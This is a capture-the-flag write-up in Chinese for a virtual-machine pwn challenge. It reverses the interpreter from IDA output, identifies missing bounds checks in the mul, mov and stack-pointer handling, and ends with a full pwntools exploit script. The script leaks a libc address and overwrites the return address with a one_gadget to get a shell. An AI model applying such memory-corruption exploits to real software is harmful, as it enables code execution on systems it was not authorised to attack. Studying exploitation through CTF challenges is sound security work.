介绍
一般 VM PWN
的漏洞基本都是边界检测的问题,比如: 符号位的检测, SP
的检测啊,寄存器指针的检测等等
正式分析程序之前,需要手动设置 IDA
, 修复 switch
结构的识别,可以参照 在 IDA Pro 中恢复 switch 语句
程序分析
稍做处理后,程序大概是这样
puts("[+] Welcome to MVA, input your code now :");
fread(&unk_4040, 0x100uLL, 1uLL, stdin);
v3 = "[+] MVA is starting ...";
puts("[+] MVA is starting ...");
while ( v6 )
{
v8 = ((__int64 (__fastcall *)(const char *))sub_11E9)(v3);
switch ( v8 )
{
case 0:
v6 = 0;
break;
case 1:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )// set
exit(0);
*((_WORD *)® + SBYTE2(v8)) = v7;
break;
case 2:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) + *((_WORD *)® + (char)v8);// add
break;
case 3:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) - *((_WORD *)® + (char)v8);// sub
break;
case 4:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) & *((_WORD *)® + (char)v8);// and
break;
case 5:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) | *((_WORD *)® + (char)v8);// or
break;
case 6:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = (int)*((unsigned __int16 *)® + SBYTE2(v8)) >> *((_WORD *)® + SBYTE1(v8));// div
break;
case 7:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) ^ *((_WORD *)® + (char)v8);// xor
break;
case 8:
JUMPOUT(0x1780LL);
case 9:
if ( vm_sp > 0x100 )
exit(0);
if ( BYTE2(v8) )
stack[vm_sp] = v7; // push,没有检查 vm_sp 小于 0
else
stack[vm_sp] = reg;
++vm_sp;
break;
case 10:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )// pop, 没有检查 vm_sp 小于 0
exit(0);
if ( !vm_sp )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = stack[--vm_sp];
break;
case 11:
v9 = ((__int64 (__fastcall *)(const char *))sub_11E9)(v3);
if ( v5 == 1 )
dword_403C = v9;
break;
case 12:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 || (v8 & 0x8000) != 0 )
exit(0);
v5 = *((_WORD *)® + SBYTE2(v8)) == *((_WORD *)® + SBYTE1(v8));
break;
case 13:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( (char)v8 > 5 || (v8 & 0x80u) != 0 )
exit(0);
*((_WORD *)® + SBYTE2(v8)) = *((_WORD *)® + SBYTE1(v8)) * *((_WORD *)® + (char)v8);// mul,没有检查参数二
break;
case 14:
if ( SBYTE2(v8) > 5 || (v8 & 0x800000) != 0 )
exit(0);
if ( SBYTE1(v8) > 5 )
exit(0);
*((_WORD *)® + SBYTE1(v8)) = *((_WORD *)® + SBYTE2(v8));// mov, 没有检查参数二
break;
case 15:
v3 = "%d\n";
printf("%d\n", (unsigned __int16)stack[vm_sp]);
break;
}
}
puts("[+] MVA is shutting down ...");
return 0LL;
先读取 0x100 长度的指令,然后执行相应的功能,一些数据结构的语义还是看汇编代码更清晰
.text:000000000000135E mov eax, 0
.text:0000000000001363 call sub_11E9
.text:0000000000001368 mov [rbp+var_23C], eax # 每条指令
.text:000000000000136E mov eax, [rbp+var_23C]
.text:0000000000001374 shr eax, 24
.text:0000000000001377 mov [rbp+var_240], ax # op, 0, 1, 2, ..., 15
.text:000000000000137E mov eax, [rbp+var_23C]
.text:0000000000001384 sar eax, 16
.text:0000000000001387 mov [rbp+op1], al # op1, rbp-0x249
.text:000000000000138D mov eax, [rbp+var_23C]
.text:0000000000001393 sar ax, 8
.text:0000000000001397 mov [rbp+op2], al # op2, rbp-0x248
.text:000000000000139D mov eax, [rbp+var_23C]
.text:00000000000013A3 mov [rbp+op3], al # op3, rbp-0x247
.text:00000000000013A9 mov eax, [rbp+var_23C]
.text:00000000000013AF mov [rbp+var_23E], ax
v6 对应 op, SBYTE2(v8) 对应 op1, SBYTE2(v8) 对应 op2, (char)v8 对应 op3, 操作数最多可以有 3 个, 寄存器数量最多可以是 5 个,每个寄存器长度是 2 个字节
重难点在于逆向分析每个功能的语义
本题漏洞点
mul
指令没有对第二个操作数进行校验,存在越界读取mov
指令没有对第二个操作数进行校验,存在越界写入- 没有检查
vm_sp
小于 0,存在越界读写
利用思路
- 越界读取可以溢出读栈上存放的
libc
地址 - 越界写可以修改
vm_sp
计数器,向上或者向下溢出 - 最后利用
push
功能改返回地址为one_gadget
EXP
from pwn import *
context(arch="amd64", log_level="debug", os="linux")
context.terminal = ['tmux','splitw','-h']
binary = './mva'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #
p = process(binary)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
rl = lambda :p.recvline()
rls = lambda num=1 :p.recvlines(num)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
def dbg(cmd):
gdb.attach(p, cmd)
pause()
def pack(op, op1, op2, op3):
return p8(op) + p8(op1) + p8(op2) + p8(op3)
def set(op1, val):
return pack(1, op1, (val >> 8) & 0xff, val & 0xff)
def add(op1, op2, op3):
return pack(2, op1, op2, op3)
def sub(op1, op2, op3):
return pack(3, op1, op2, op3)
def push():
return pack(9, 0, 0, 0)
def pop(op1):
return pack(10, op1, 0, 0)
def mov(src, dst):
return pack(14, src, dst, 0)
# cmd = '''
# b *0x555555554000+0x1439
# b *0x555555554000+0x19FE
# b *0x555555554000+0x180E
# b *0x555555554000+0x1871
# '''
# dbg(cmd)
# GLIBC 2.31-0ubuntu9.7
__libc_start_main_offset = 0x240b3
one_gadget_offset = 0xe3b31
pay = b''
pay += set(0, 0x8000)
pay += mov(0, 0xf9) # set vm_sp[7:6] = 0x8000, negitive number, to bypass check
pay += set(0, 0x010c+2)
pay += mov(0, 0xf6) # set vm_sp[1:0] = 0x010c, so rbp+rax*2+stack = ret_addr
# leak ret address
pay += pop(0) # __libc_start_main[3:2]
pay += pop(1) # __libc_start_main[1:0]
# get libc base
pay += set(3, 0x2)
pay += sub(0, 0, 3) # __libc_start_main[3:2] - 0x2
pay += set(3, 0x40b3)
pay += sub(1, 1, 3) # __libc_start_main[1:0] - 0x40b3
# get one_gadget
pay += set(3, 0xe)
pay += add(0, 0, 3) # libc[3:2] + 0xe = one_gadget[3:2]
pay += set(3, 0x3b31)
pay += add(1, 1, 3) # libc[1:0] + 0x3b31 = one_gadget[1:0]
# overwirte ret address to one_gadget
pay += mov(0, 3)
pay += mov(1, 0)
pay += push() # ret address[1:0] = one_gadget[1:0]
pay += mov(3, 0)
pay += push() # ret address[3:2] = one_gadget[3:2]
pay = pay.ljust(0x100, b'\x00')
sl(pay)
itr()